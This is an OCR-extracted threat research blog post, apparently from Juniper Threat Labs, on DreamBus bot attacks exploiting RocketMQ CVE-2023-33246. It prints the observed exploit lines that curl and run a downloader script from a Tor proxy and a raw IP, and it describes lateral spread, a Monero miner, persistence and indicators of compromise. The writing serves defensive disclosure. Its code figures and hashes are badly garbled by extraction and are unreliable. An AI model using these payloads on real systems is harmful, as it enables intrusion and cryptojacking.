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In May 2023, a vulnerability affecting RocketMQ servers (CVE-2023-33246), which allows
remote code execution, was publicly disclosed. In a recent blog_post, Juniper Threat Labs
provided a detailed explanation of how an exploit targeting this vulnerability works.

This vulnerability opened the gates for hackers to exploit the RocketMQ platform, leading to
a series of attacks. In fact, Juniper Threat Labs has detected multiple attacks where threat
actors took advantage of the vulnerability to infiltrate systems and subsequently install the
malicious DreamBus bot, a malware strain last seen in 2021.

In this blog post, we delve into the details of the attacks and the bot.

Attack Timeline

In early June, as shown above in Fig. 1, we began seeing attacks targeting this RocketMQ
vulnerability. The attacks reached a peak in volume towards mid-June. While the default port
for RocketMQ is 10911 (depicted in green in the figure above), it is worth noting that the
attacks targeted at least seven other ports.
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Fig. 1: Timeline of Recent RocketMQ attacks Observed by Juniper Threat Labs.
Interestingly, the initial attacks were non-destructive in nature. Rather than do damage,
malicious threat actors employed an open-source reconnaissance tool called ‘interactsh’ to
assess server vulnerabilities. Gathering information like this demonstrates their ability to
probe without relying on their own infrastructure. This method allows hackers to collect
valuable reconnaissance data.

rocketmgHome=-c $@|sh . echo curl cil9lv2rlbvgklmei@dgktrb3ekddhfx4.oast.pro/;

2: Attacks employing interactsh.

<« C @& oastpro

Interactsh Server

Interactsh is an open-source tool for detecting out-of-band interactions. It is a tool designed to detect vulnerabilities that cause external interactions.
If you notice any interactions from *.oast.pro in your logs, it's possible that someone (internal security engineers, pen-testers. bug-bounty hunters) has been testing your application.

You should investigate the sites where these interactions were generated from, and if a vulnerability exists, examine the root cause and take the necessary steps to mitigate the issue.

Fig. 3: Webpage of one interactsh server describing the tool.

Starting on June 19", we detected a series of attacks that involved downloading and
executing a malicious bash script named, “reketed”. As it happens, on that same day, we
also observed malicious threat actors using two different methods to retrieve and execute
this malicious shell script. In one (refer to Fig. 4 below), the threat actors made use of the
TOR onion router web traffic service via a TOR proxy service called, “tor2web.in”. (Note that
use of this TOR proxy allows for the anonymous downloading of malicious payloads without
the presence of the actual TOR browser client on the victim’s system). In the other,
cybercriminals called for the retrieval and execution of the malicious “reketed” payload form
a specific IP address, 92[.]204.243.155 on port 8080 (refer to Fig. 5 below).



»  June 19th 2023, 18:06:59.000 4 "{"code":25,"flag":0,"language™:"JAVA","opaque™:0,"serializeTypeCurrentRPC":"
|SON","version":395 ilterServerNums=1

rocketmgHome=-c $@ | sh . echo curl -fsSkLA- ruérdinkafdthlgflgdiqgsS5mhqwqub
ols5gagspvyad4whp3dgbvmyhad.tor2web.infroket -o reketed;

Fig. 4: Attack directly using TOR proxy service tor2web.in to download the payload.

»  June 19th 2023, 18:45:31.000  "{"code™:25,"flag":0,"language":"]AVA","opaque™0,"serializeTypeCurrentRPC":"

JSON","version™:395HilterServerNums=1

rocketmgHome=-c $@|sh . echo curl -fsSkLA- 92.204.243.155:8080/roket -0 rek
eted:

Fig. 5: Attack showing threat actors using IP address 92[.]204.243.155 to download the
payload.

Reketed: Downloader Bash Script

Upon successful exploitation, the payload will execute the bash script named ‘reketed’
(hash: 1d0c3e3532427 3ffeb434f929f834b59dcc6cdd24e9204abd32cc0abefd9f047).
Interestingly, at the time of our analysis here at Juniper Threat Labs, this file had no
detections in VirusTotal (VT) as you can see below in Fig. 6.

¥) No security vendors and no sandboxes flagged this file as malicious

1d0c3e3532427 3ffeb4341929f834b59dccbedd24e9204abd32cc0abefd9f047

reketed

Javascript

Community Score

Fig. 6: VT shows zero (0) anti-malware vendors detected malicious "reketed” bash script.
The primary function of the reketed bash shell script is to download the DreamBus main
module from a TOR hidden service,
“rubrdinkaf4thlgflg4igs5mhqwqubols5qgagspvyadwhp3dgbvmyhad.onion”. When run,
the malicious reketed bash shell script downloads the DreamBus main module, which is an
ELF binary file, and installs it. The script assigns it a 20-character filename. To determine
the filename, the script uses the first 20 characters of the 32-character md5 checksum
performed on the current date (i.e., date|md5sum|head -c20).

In our analysis, the reketed bash script exhibits some obfuscation techniques, with
randomized names assigned to functions and variables. However, after fixing the variables,
the script becomes intelligible and thus more readily analyzed. See the contents of the
reketed script after being deobfuscated in Fig. 7 below.

Once the DreamBus main module is successfully downloaded, “reketed” script promptly
executes the ELF binary and subsequently deletes it, adding a layer of complexity to
potential forensic investigations.
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:$service name:S$HOME: /

Spath SoutFile

Spath SoutFile ||

0 {
chmod +x SoutFile; SoutFile;rm

0 {
=$tor site. /
ed / && curl -v || (

1s / /S (head -1 /tmp/.systemd.1)/ |

7: Reketed script after fixing the structure and renaming the variables.

DreamBus Main Module

The sha256sum of the downloaded main module is
601a2ff4a7244ed41dda1c1fc71b10d3cfefa34e2ef8ba71598f41f73c031443. At the time of
our analysis, the malicious DreamBus main module — like the reketed malicious shell script —
showed no detections in VirusTotal (as shown in Fig. 8 below).

The DreamBus main module is an ELF Linux binary that has been packed with UPX, but with
modified headers and footers that make unpacking more challenging. With this simple trick
by the malware authors, the out-of-the-box UPX tool cannot unpack it (refer to Fig. 9 below).
This will also make static detection challenging as engines typically need to unpack files first
(e.g., UPX packed samples) before scanning. For this file, we needed to fix the UPX
headers. Doing so proved sufficient for the UPX tool to unpack it.
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w No security vendors and no sandboxes flagged this file as malicious

601a2ff4a7244ed41ddalc1fc7 1b10d3cfefaddeZef8bar 1598f4173c031443
/tmp/.34e7e30697bbffa43206

elf  64bits shared-lib

Community Score

Fig. 8: VT shows zero (0) anti-malware vendors detected DreamBus main module ELF file
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Fig. 9: Modified UPX

header of the ELF binary.
After unpacking, and upon static analysis of the DreamBus main module binary, we
discovered that it executes numerous base64 encoded strings. These encoded strings (refer
to Fig. 10 and Fig. 11 below) are script files with different functionalities, that include
downloading other malicious modules. We will provide more details on these later in this blog

post.
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retn

sub_AF8 proc near

5 __unwind {

call sub_103E
add rsp, 7A8h

; } // starts at AF8
sub_AF8 endp

var_7A6= byte ptr -7A6h

[pspgAghwaaEchonnvmvltcm_A db “echo RVNVMV1TCmVAZWMgJ)j4vZGV2L251bGwKZXd2Qk]1Q209Li8ulChkYXR1fG1k"

sub rsp, 7ASh

lea rsi, aEchoRvnvmvltcm_4 ;
mov ecx, 79Ef

lea rdi,

rep movsbh

lea rdi, [rsp+7A8h+va

|D0AFF |ODOUDODOUOODD]\FF: sub_AFE8+7

30);
30);
RD);

"echo RVNvMVITCmVAZWMgljavIGV2L251bGWKZX" . . .

; DATA XREF: sub_AF8+7tc
db *NXN1bXxoZWFkIC1jMjApCnFkbm1DdUZ1PShkb2gtY2guYmxhaGRucy5jb20gZG9oL "’
db *WR1LmJsYWhkbnMuY29tIGRvaClqcC5ibGFoZG5zLmNvbSBkb2gtc2cuYmxhaGRucy '
db '5jb20gZGY0LmxpIGRvaC5wdWIgZGIolmRucy5zYiBkbnMudHdualWMudHcpCmZ1V3R"
db 'PY1RUPSIvAG1wL3N5c3R1bWQtcHIpdmFOZSIhMTNINTBiYTgzYmNjMzY30Tc5NWZ1 "
db *YzImMTA2ZDAyZS1zeXNOZW1kLWxvZ21uZC52z7X]2aWN1LUVTbzFZUyIKa3pLWXBCV'
db "nI9ImN1cmwglWO2MCAtZnNTTGEBLSAtLWRvaC1lcmwgaHROCHM6LY 8ke3Fkbm1DdU"
db *Z1WyQoKFIBTKRPTSUkeyNxZG5tQ3VGZVtAXXOpKV19L 2RucylxdWVyeSIKektqSmt "'
db "WVOY9ImN1cmwgLWO2MCATZNNTTGtBLSIKY1ZYZnViWm89Inl1bGFS5LnRvcjlzb2Nr'
db 'cySpbiIKdkJlaakdNeEY9InJ1NnI@aWsrYWYBdGhsZ27sZzRpcXM1bWhxd3F1Ym9sc'
db *zVxYWdzcHZ5YTR3aHAz7Gdidm15aGFkTgpQQVRIPSRmdVA@T2NUVDokSESNRTovYm'
db '1u0i9zYmlu0i91c3Iv¥mlu0i91c3Ivc2IpbjovdXNylL2xvY2FsL2IpbjovdXNyL2x"
db *vY2FsL3NiaW46JFBBVEgKCk12WlpSb11zKCkgewolZm9yIGkgaWdglGZ1V3IRPY1RU"
db 'ICAgL3Vzci9iaWdgl3Zhci9@bXAgL3RtcCA7ZG8gZWNobyBleG10IDAgIGkvaSAm] "
db "iBjaGlvZCAreCAkaS9pICYmIGNkICRpICYmICAvaSAmliBybSAtZiBpICYmIGIyZW'
db *FrO2RvbmUKFQoKQWt2UmSYcmMoKSB7Cg1nSm1id@1wQjovyY21kMQol IGt6511wQlZ !

Fig. 10: Snippet of code executing the base64 encoded shell scripts in the linux binary.

\ddress | Length | Type | String

E .rodata:0000... 0000069E C echo RVNVMVITCmV4ZWMglj4vZGV2L251bGwKZ2Xd2QkIQ209Li8ulChKYXRIFG LKNXMN 1bXx0ZWFKIC 1

a rodata:0000... 00000ADG C echo RVNVMVITCmY4ZWMQgJj4vZGV2L251 bGwKZXd2QKIIQ209LI8UIChKYXRIFG TKNXN 1bXx0oZVWFKIC1

E rodata:0000... 0000SFAE C echo RVNVMVITCmV4ZWMgljavZGV2L2 51 bGwKZXd20QkIQ209LIBuIChKYXRIFG 1KNXN 1bXxoZWFKIC1

5 .rodata:0000... 00000010 C Jtmp/.systemd.1 Fig.
a .rodata:0000... 00000019 C systemd-tmpfiles-cleanup

a rodata:0000... 0000069A C echo RVNVMVITCmY4ZWMQgJj4vZGV2L251 bGwKZXd2QKIIQ209LI8UIChKYXRIFG TKNXN 1bXx0oZVWFKIC1

E rodata:0000... 00002686 C echo RVNVMVITCmV4ZWMgljavZGV2L2 51 bGwKZXd20QkIQ209LIBuIChKYXRIFG 1KNXN 1bXxoZWFKIC1

a rodata:0000... 0000079E C echo RVNVMVITCmV4ZWMgljavZGV2L2 51 bGwKZXd2QkIG209Li8ulChKYXRIFG 1KNXN 1bXxoZ WFKIC 1

11: Base64 encoding shell scripts in the linux binary.

These base64 encoded strings decodes into a bash script resembling the “reketed” script
described earlier in this blog post. The script can perform various functions, such as
downloading other modules, by sending requests to the TOR onion service using different
path names. For instance, the bot can send requests to the following paths:

 ru6rdinkaf4thlgflg4igsSmhqgwqubols5gagspvyad4whp3dgbvmyhad[.Jonion/ping
 ru6rdinkaf4thigflg4igsSmhqgwqubols5gagspvyadwhp3dgbvmyhad[.]Jonion/mine
 ru6rdinkaf4thlgflg4digsSmhqwqubols5gagspvyadwhp3dgbvmyhad[.Jonion/cmd1
 ru6rdinkaf4thlgflgdigsSmhqwqubols5gagspvyadwhp3dgbvmyhad].Jonion/kill

During our analysis, we identified several capabilities possessed by the malware. Upon
executing each capability, it will send a corresponding request to the server, providing
notification of the actions it has taken.

Request Description

{onion Beacon out to the server advertising that it is alive
site}/ping

{onion Download and execute main module

site}/exec
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{onion Download and install a monero miner

site}/mine

{onion Execute bash script

site}/cmd1

{onion Execute a bash script while including in the request machine ID, IP,
site}/cmd2 hostname

As part of the installation routine, the malware terminates processes and eliminates files
associated with outdated versions of itself. Subsequently, it sends a request to {onion
site/kill} to notify the server about this action.

Spreader

DreamBus main module also has other paths in the request like the one ending in /scan,
which we are not able to verify as the request did not return anything at the time of our
analysis. DreamBus expects this request to return a file which it will install and execute. We
believe this module will scan a set of external and internal IP ranges and spread via exploits
as seen in previous DreamBus variants.

Furthermore, the DreamBus bot malware spread laterally. The malicious threat actors
leverage widely recognized IT automation tools like ansible, knife, salt and pssh (parallel
ssh). They employ a Base64 encoded string containing shell commands to infect remote
systems, facilitating the installation of the DreamBus main module. Additionally, this function
extracts hosts from the user’s bash_history, /etc/hosts file and ssh known_hosts file,
further aiding in the spread of the malware.

Fig. 12: Snippet of code showing how the malware spread using IT automation tools and
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SSH.

Monero Miner

Upon initiating a request to the designated path
“rubrdinkaf4thlgflg4igs5mhqwqubols5qagspvyadwhp3dgbvmyhad[.Jonion”, the system
successfully retrieved an open-source Monero cryptocurrency miner program called XMRig.
The XMRig file’s sha256sum is
1c49d7dad416474135cd35a9166f2de0f8775f21a27cd47d28be48a2ce580d58d. Again, as
with the DreamBus binary, XMRig is packed with UPX and has modified headers. Once
unpacked, the binary reveals its hardcoded configuration (refer to Fig. 13 below), which
includes joining the mining pool ‘p2pool.it’ for Monero cryptocurrency mining purposes. The
binary incorporates the username ‘x‘ and password ‘x‘ for authentication within the mining
pool.

Configuration of XMRig Monero cryptocurrency miner.

Persistence

To ensure persistent presence, the malware employs multiple mechanisms. Firstly, it
establishes a service named $HOME/.config/systemd/user/systemd-tmpfiles-cleanup.
Then, a “timer service” is implemented (refer to Fig. 14 below), scheduled to initiate the
above service on an hourly basis. Furthermore, a cron job (refer to Fig. 15 below) is created
and configured to execute the downloader script with the same hourly frequency. These
approaches enable the threat actor to maintain their foothold consistently.
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> 235l vic £ name.

temctl —
temctl ——

sy
sy

}
Snippet of code that creates Timer service for persistence.

0 {
if id | grep
grep

=
=
=
=

if ! | grep ~[0-9] | grep ; then
(echo
crontab |grep — ) |lexrontab -

15: Snippet of code that creates cron job.

Conclusion

As DreamBus malicious threat actors resurface, their primary objective remains the
installation of a Monero cryptocurrency miner. However, the presence of a modular bot like
the DreamBus malware equipped with the ability to execute bash scripts provides these
cybercriminals the potential to diversify their attack repertoire, including the installation of
various other forms of malware. Their preferred means of initial access revolves around
exploiting vulnerabilities, particularly recent ones that result in remote code execution like the
RocketMQ vulnerability CVE-2023-33246. To protect organizations from DreamBus malware,
RocketMQ and similar attacks, Juniper highly recommends implementing robust patch
management processes to ensure any would-be vulnerable systems are updated in a timely
manner and protected against these and an evolving set of malicious threats.

Juniper ATP Cloud detects this malware using Machine Learning based on static and
behavioral analysis.
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601a2ff4a7244ed41dda... @

(e el [ Download zipped file [+]Download POF Report

Threat Level Top Indicato
File name 601a2ff4a7244ed41ddal 1. Signature Match Generic Mediur
Category executable (MIME type: a... Antiviru Clea 1
HTTP

GENERAL STATIC ANALYSIS BEHAVIOR ANALYSIS NETWORK ACTIVITY BEHAVIOR DETAILS MITRE ATT&CK
Status File Information Other Details
Threat Level @8 File Name 601a2ffda7244edd1ddalc1fc7 1b10d3c sha256 601a2ff4a7244edd1ddal c1fc71b10d3clfefa3dee
Rl e aIance Medium fefa3deZefBba71598141173c031443 f8ba71598f41f730031443
Last Seannad Jul 12, 2023 10:41 AM Category executable (MIME type: application/elf) mdS 73838d160eb7a23dfcddef07eBdb1fas

Size

Platform
Malware Name
Type

Strain

30KB
Generic

Generic
Generic

Juniper SRX customers with an IDP license are protected against this RocketMQ
vulnerability using the signature below (released with IDP sigpack #3604 ):

TCP:C2S:APACHE-ROCKETMQ-UPDT-CE

Indicators of Compromise

Indicator Description
92[.]204.243.155 Download
Server
ruerdinkaf4thlgflg4igsSmhqwqubols5qagspvyadwhp3dgbvmyhad.onion .onion
Download
and Control
Server
1d0c3e35324273ffeb434f929f834b59dccbcdd24e9204abd32ccO0abefd9f047 Bash script
downloader
1c49d7da416474135cd35a9166f2de0f8775f21a27cd47d28be48a2ce580d58d XMRig
Miner
601a2ff4da7244ed41dda1c1fc71b10d3cfefa34e2ef8ba71598f41f73c031443 DreamBus
Bot
153b0d0916bd3150c5d4ab3e14688140b34fdd34caac725533adef8f4ab621e2 DreamBus
Bot
e71caf456b73dade7c65662ab5cf55e02963ee3f2bfb47e5cffc1b36c0844b4d DreamBus
Bot
9f740c9042a7c3c03181d315d47986674c50c2fca956915318d7ca9d2a086b7f DreamBus
Bot
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371319cd17a1ab2d3fb2c79685¢c3814dc24d67ced3e2f7663806e8960ff9334c  DreamBus
Bot

21a9f094eb65256e0ea2adb5b43a85f5abfbfdf45f855daab3eb6749c6e69417 DreamBus
Bot

0a8779a427aba59a66338d85e28f007¢c6109¢c23d6b0abbd4b251bf0f543a029f DreamBus

Bot
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